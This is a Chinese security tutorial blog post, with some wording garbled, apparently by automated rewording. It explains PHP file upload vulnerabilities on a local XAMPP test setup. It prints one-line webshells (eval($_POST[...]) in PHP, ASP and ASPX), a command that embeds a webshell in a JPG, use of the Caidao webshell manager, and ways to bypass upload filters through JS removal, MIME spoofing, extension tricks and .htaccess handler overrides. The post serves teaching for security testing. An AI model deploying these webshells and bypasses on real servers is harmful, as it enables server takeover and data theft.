首页 » SEO优化 » ueditphp技巧_二十八文件上传马脚和Caidao入门及防御事理一

ueditphp技巧_二十八文件上传马脚和Caidao入门及防御事理一

访客 2024-11-17 0

扫一扫用手机浏览

文章目录 [+]

Web运用程序常日会有文件上传的功能,例如,在BBS发布图片、在个人网站发布压缩包、在招聘网站发布DOC格式简历等。
只要Web运用程序许可上传文件,就有可能存在文件上传漏洞。

文件上传漏洞与SQL注入比较,其风险更大,如果Web运用程序存在文件上传漏洞,攻击者乃至可以直接上传一个WebShell到做事器上。
那么,如何确认Web运用程序是否存在上传漏洞呢?比如,我的网站是一个BBS论坛,由PHP编写,用户可以上传自己的个性化头像,也便是图片文件,但文件上传时并没有对图片格式做验证,导致用户可以上传任意文件,那么这便是一个漏洞。
如下图所示,通过文件上传漏洞获取了全体网站的目录。

ueditphp技巧_二十八文件上传马脚和Caidao入门及防御事理一

在这篇文章中,作者仅大略先容文件上传漏洞的根本知识,后面还会陆续分享几篇博文,详细讲解各种文件上传漏洞的案例及防御方法。
根本文章,希望对想成为白帽子或安全工程师的博友有所帮助。
下图展示了网络安全涉及的各种技能:

2.环境搭建

首先,作者大略搭建了一个本地PHP的做事器环境,读者也可以考试测验远程做事器进行测试。
非常遗憾,终极案例是失落败的,但基本的流程和方法事理类似,也希望对您有所帮助。

第一步,安装XAMPP软件,Apache+MySQL+PHP实现做事器搭建。

第二步,点击Apache运行,如下图所示,然后点击文件夹“Explorer”图标。
该文件夹将存放我们的PHP文件,它是一个本地的做事器,当然您也可以将您的PHP文件上传到远程做事器上。

第三步,放入我们的两个PHP文件。

index.php是一个上传页面,包含一个文件选择和上传按钮,并调用upload_server.php文件实行上传操作。

<!DOCTYPE html><html><head><title>文件上传</title><meta charset="utf-8"></head><body><center><!-- enctype="mulipart/form-data"属性是指以二进制办法进行数据传输 传输文件须要设置--><form action="upload_server.php" method="post" enctype="multipart/form-data"><input type="hidden" name="max_file_size" value="1048576"><input type="file" name="file"><input type="submit" name="上传"></form></center></body></html>

upload_server.php是详细的上传操作,代码如下所示,调用move_uploaded_file函数实现上传。

<?php header("content-type:text/html;charset=utf-8");//设置时区date_default_timezone_set('PRC');//获取文件名$filename = $_FILES['file']['name'];//获取文件临时路径$temp_name = $_FILES['file']['tmp_name'];//获取大小$size = $_FILES['file']['size'];//获取文件上传码,0代表文件上传成功$error = $_FILES['file']['error'];//判断文件大小是否超过设置的最大上传限定if ($size > 210241024){//echo "<script>alert('文件大小超过2M大小');window.history.go(-1);</script>";exit();}//phpinfo函数会以数组的形式返回关于文件路径的信息 //[dirname]:目录路径[basename]:文件名[extension]:文件后缀名[filename]:不包含后缀的文件名$arr = pathinfo($filename);//获取文件的后缀名$ext_suffix = $arr['extension'];//设置许可上传文件的后缀$allow_suffix = array('jpg','gif','jpeg','png','php');//判断上传的文件是否在许可的范围内(后缀)==>白名单判断if(!in_array($ext_suffix, $allow_suffix)){//window.history.go(-1)表示返回上一页并刷新页面echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";exit();}//检测存放上传文件的路径是否存在,如果不存在则新建目录if (!file_exists('uploads')){mkdir('uploads');}//为上传的文件新起一个名字,担保更加安全//$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;$new_filename = $filename;//将文件从临时路径移动到磁盘if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){echo "<script>alert('文件上传成功!
');window.history.go(-1);</script>";}else{echo "<script>alert('文件上传失落败,缺点码:$error');</script>";} ?>

第四步,访问该目录就能成功实现文件上传功能,如下图所示。
访问地址:http://localhost/eastmount/index.php

点击“选择文件”按钮,选择本地文件并提交。

上传成功之后,可以看到本地的uploads文件夹下有一张图片,并且能够成功访问。

访问地址:http://localhost/eastmount/uploads/mm.jpg

写到这里,一个大略的PHP文件上传功能就实现了,接下来开始讲解文件上传漏洞。

二.木马事理及Caidao

参考前文:[渗透&攻防] 三.数据库之差异备份及Caidao利器

1.一句话木马事理

“一句话木马”做事端: 本地存储的脚本木马文件,是我们要用来将恶意代码上传到做事器网站中实行权限。
该语句触发后,吸收入侵者通过客户端提交的数据,实行并完成相应的操作。
做事真个代码内容为:

<?php eval($_POST[str]); ?> //str为自定义内容

“一句话木马”客户端: 远程做事器上被插入一句话的asp可实行文件。
用来向做事端提交掌握数据,提交的数据通过做事端构成完全的功能语句并实行,天生我们须要的木马文件。

一句话木马短小精悍,功能强大且暗藏性非常好,常见的种类包括asp、php、aspx。
如下:

asp一句话木马:<%execute(request(“value”))%>php一句话木马:<?php @eval($_POST[value]);?>aspx一句话木马:<%@ Page Language=“Jscript”%> <%eval(Request.Item[“value”])%>其他一句话木马:<%eval request(“value”)%> <%execute request(“value”)%>判断一句话木马:<%If Request(“value”)<>"" Then Execute(Request(“value”))%>不用双引号的一句话木马:<%eval request(chr(35))%>

下图是一个test.php的文件,它包含了我们的一句话木马。

2.图片一句话木马制作

由于有些网站上传文件时,会检讨你上传文件的头目录,如果你的一句话木马是放在PHP文件中,它很随意马虎被识别出来。
这个时候图片一句话木马的浸染就表示出来了,后面会更详细的先容。
下面是一张mm.jpg图片文件,我们想办法要在该文件中加一句话木马。

首先考试测验用notepad++打开该图片并添加一句话木马,如下图所示。

虽然添加了这样一句话,木马创建成功了,但此时的图片显示轻微有些模糊。
这么模糊的图片不是留下痕迹吗?那怎么处理呢?

为了避免模糊,须要通过其他方法实行。
第一种办法是利用如下的命令,个中b表示二进制,a表示ascii编码。

copy mm.jpg/b+test.php/a mm1.jpg

在CMD中直接运行,如下图所示。
它是在mm.jpg图片中,插入test.php中的一句话木马 <?php eval($_POST[str]); ?> ,并存储为mm1.jpg图片。

如下图所示,这是同一个目录下对应的三个文件。

用Notepad++打开“mm1.jpg”可以看到,里面包含了一句话木马,并且不影响我们的图片质量。

第二种方法,直接通过uedit软件打开,然后将代码复制至末端即可。

把稳,部分网站是有文件格式解析的,即网站会判断上传的脚本是否可以被实行,某些文件格式是无法被解析的,比如,上传jpg格式的无法被php格式解析。

3.Caidao案例

Caidao软件听说是一个退役士兵写的,真的很厉害。
它是一款Webshell管理工具,支持各种措辞,常见的包括ASP、ASPX、PHP、JSP、CFM等,现在蚁剑和冰蝎Behinder也非常不错,打开Caidao如下图所示。

接着考试测验举一个例子,我们插入带有一句话木马的“mm1.jpg”文件至做事器。

然后再Caidao空缺处右键“添加”,设置地址及口令,地址为目标URL,口令为“str”,对应一句话木马 <?php eval($_POST[str]); ?> 。
如下图所示:

添加成功之后,选中该行数据,右键“文件管理”该当能查看目标网站的做事器文件目录,可惜作者失落败了!
O(∩_∩)O

精确的示例参考之前的文章,如下图所示:

PS:虽然案例失落败了,但基本利用方法是一样的,后续作者会搭建远程做事器进行测试,也会连续深入学习。

4.Caidao事理

末了分享下中国菜刀软件的事理知识,点击某条链接,右键“虚拟终端”。

在虚拟终端中输入命令:ipconfig。

选中该条链接,并复制数据包的内容进行剖析。

将抓取的数据包复制出来,如下图所示。

个中,%3DURL编码表示“=”,%2BURL编码表示“+”。

fox=base64表示对POST参数z0进行加密。

用软件Base64解密之后,得到z1的值为cmd。

同样的方法解析通报的z2值,结果如下图所示,包含一条路径及实行的ipconfig命令。

该参数可以通过浏览器POST提交,如下图所示,mantra Portable浏览器也是网络攻防的常见工具。

中国菜刀的基本事理是:往目标网站中加入一句话木马,然后你就可以在本地通过中国菜刀获取和掌握全体网站目录。
比如,我们可以把一句话木马插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。
打开中国菜刀,在空缺处点击鼠标右键,选择“添加”选项;编辑干系参数,包括一句话木马所在的URL及密码,在URL列表中选中目标网站,点击鼠标右键,选择“文件管理”,可以看到网站的目录构造。

三.JS+MIME和文件扩展名限定

把稳:该部分内容参考B站Fox大神的视频,非常推举大家去学习,详见参考文献。

1.JS绕过文件上传

JS验证用于客户端本地的验证,以是如果你上传一个禁绝确的文件格式,它的判断会很快显示出来你上传的文件类型禁绝确。

JS判断代码: οnsubmit=“return checkFile()”

比如,上传其他文件会有干系的缺点提示。

核心代码如下所示:

//设置许可上传文件的后缀$allow_suffix = array('jpg','gif','jpeg','png');//判断上传的文件是否在许可的范围内(后缀)==>白名单判断if(!in_array($ext_suffix, $allow_suffix)){echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";exit();}

第一种方法:删除 checkFile()函数。

第二种方法:考试测验在许可上传格式的文件里添加.php格式。

如下图所示,添加之后成功上传。

第三种方法:JS验证本地上传。
拷贝源代码到本地剖析,考试测验删除JavaScript代码,并指定在action=“”中指定上传地址。
如下图所示,本地新建一个HTML文件并删除JavaScript判断代码,接着指定上传路径运行。

第四种方法:上传许可上传的文件,再用BurpSuite进行抓包改包。
比如,首先上传一个规则的文件“php.jpg”,再用BurpSuite抓包修正为“php.php”,

2.MIME绕过文件上传

MIME(Multipurpose Internet Mail Extensions)多用场互联网邮件扩展类型,是设定某种扩展名的文件用一种运用程序来打开的办法类型,当该扩展名文件被访问的时候,浏览器会自动利用指定运用程序来打开。
多用于指定一些客户端自定义的文件名,以及一些媒体文件打开办法。

核心浸染:做事器判断你上传的是什么文件。
其基本类型比如:

{".3gp", “video/3gpp” }

{".asp", “application/x-asap” }

{".avi", “video/x-msvideo” }

{".bmp", “image/bmp” }

{".cpp", “text/plain” }

{".jpe", “image/jpeg” }

{".mp4", “video/mp4” }

下面是利用BurpSuite抓取所上传的JPG文件和PHP文件的类型比拟。

某些情形会限定上传文件的类型,此时也须要修正“Content-Type”类型。
比如将上传的PHP文件Content-Type修正为“image/jpeg”。

3.扩展名限定上传

文件扩展名限定是通过客户端黑名单来限定上传文件的类型。

(1) 大小写绕过文件上传首先,我们先来理解关于大小写绕过文件上传。
顾名思义,大小写是把文件扩展名进行php测试绕过。
如下图所示,“1.php”文件上传会被拦截,而修正成“1.phP”后成功上传。

须要把稳,Windows和Linux下的两个文件名是不一样的,Windows下文件是不区分大小写的,Linux下文件是区分大小写的。

(2) 点、空格绕过文件上传

点和空格是在文件后缀上加上点和空格进行绕过。
在文件后缀上添加空格重新命名,会自动删除所谓的空格,点同理会自动删除的,由于可能考试测验欺骗做事器验证。
系统默认是不支持加空格、加点的,比如“.php空格”会自动解析为“.php”,“.php.”会自动解析为“.php”。

这里须要利用BurpSuite抓包进行操作,如下图所示,将上传的“.php”文件后增加一个空格,再点击Forward进行上传。

同样,增加点或者点和空格交叉的文件也能成功上传。

并且能够成功访问,如下图所示。

(3) htaccess文件绕过上传

.htaccess文件或者“分布式配置文件”供应了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,个中的指令浸染于此目录及其所有子目录。

大略来说,htaccess文件是Apache做事器中的一个配置文件,它卖力干系目录下的网页配置。
它的功能有:网页301重定向、自定义404缺点页面、改变文件扩展名、许可/阻挡特定的用户或目录的访问、禁止目录列表、配置默认文档等。

这里我们须要用到的是改变文件扩展名,代码如下:

<FilesMatch "fox">SetHandler application/x-httpd-php</FilesMatch>

这里是把fox名字的文件全都以php来运行,须要分外文件进行创建,如Notepad++。

首先上传一个“.htaccess”文件,再上传一个“fox.jpg”文件,它会将这张图片以php来解析。

显示如下图所示,由于因此php格式解析的,而不显示成一张jpg图片。

接着打开中国菜刀,获取了该做事器的目录。

现实的两个文件如下图所示:包括 “fox.jpg” 和 “.htaccess”。

四.总结

写道这里,这篇根本性文章就此结束,后面会连续分享文件上传漏洞,包括php345文件绕过上传、Windows ::$DATA绕过、apache解析漏洞上传等。
末了希望根本性文章对您有所帮助,作者也是这个领域的菜鸟一枚,希望与您共同进步,共勉。

标签:

相关文章

介绍百度网盘,云端存储时代的创新先锋

随着互联网技术的飞速发展,云计算已经成为现代生活不可或缺的一部分。而在这其中,百度网盘作为国内领先的云存储服务提供商,以其卓越的性...

SEO优化 2025-01-03 阅读0 评论0

介绍监控屏蔽技术,守护个人隐私的利器

随着科技的发展,监控设备已经深入到我们生活的方方面面。在享受便利的隐私安全问题也日益凸显。如何有效屏蔽监控,保护个人隐私,成为人们...

SEO优化 2025-01-03 阅读0 评论0

介绍番号观看方法,轻松驾驭影视世界

随着互联网的普及,网络影视资源日益丰富,番号作为影视作品的标识码,已经成为广大观众了解、搜索和观看影视作品的重要途径。如何正确地使...

SEO优化 2025-01-03 阅读0 评论0

介绍盗微信号黑幕,网络安全的严峻挑战

在数字化时代,微信已成为人们生活中不可或缺的通讯工具。随着微信用户数量的激增,盗微信号的事件也日益增多。本文将深入剖析盗微信号的方...

SEO优化 2025-01-03 阅读0 评论0